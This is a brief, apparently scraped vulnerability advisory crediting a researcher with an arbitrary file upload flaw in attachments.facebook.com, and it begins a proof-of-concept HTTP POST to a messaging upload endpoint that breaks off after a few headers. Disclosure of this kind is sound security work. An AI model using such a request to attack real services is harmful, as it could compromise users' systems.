
DescriptionSow Ching Shiong, an independent vulnerability researcher has discovered an Arbitrary File Upload vulnerability in attachments.facebook.com, which can be exploited by an attacker to compromise a victim's computer system.Proof of conceptHTTP Request===========POST /ajax/messaging/upload.php HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows...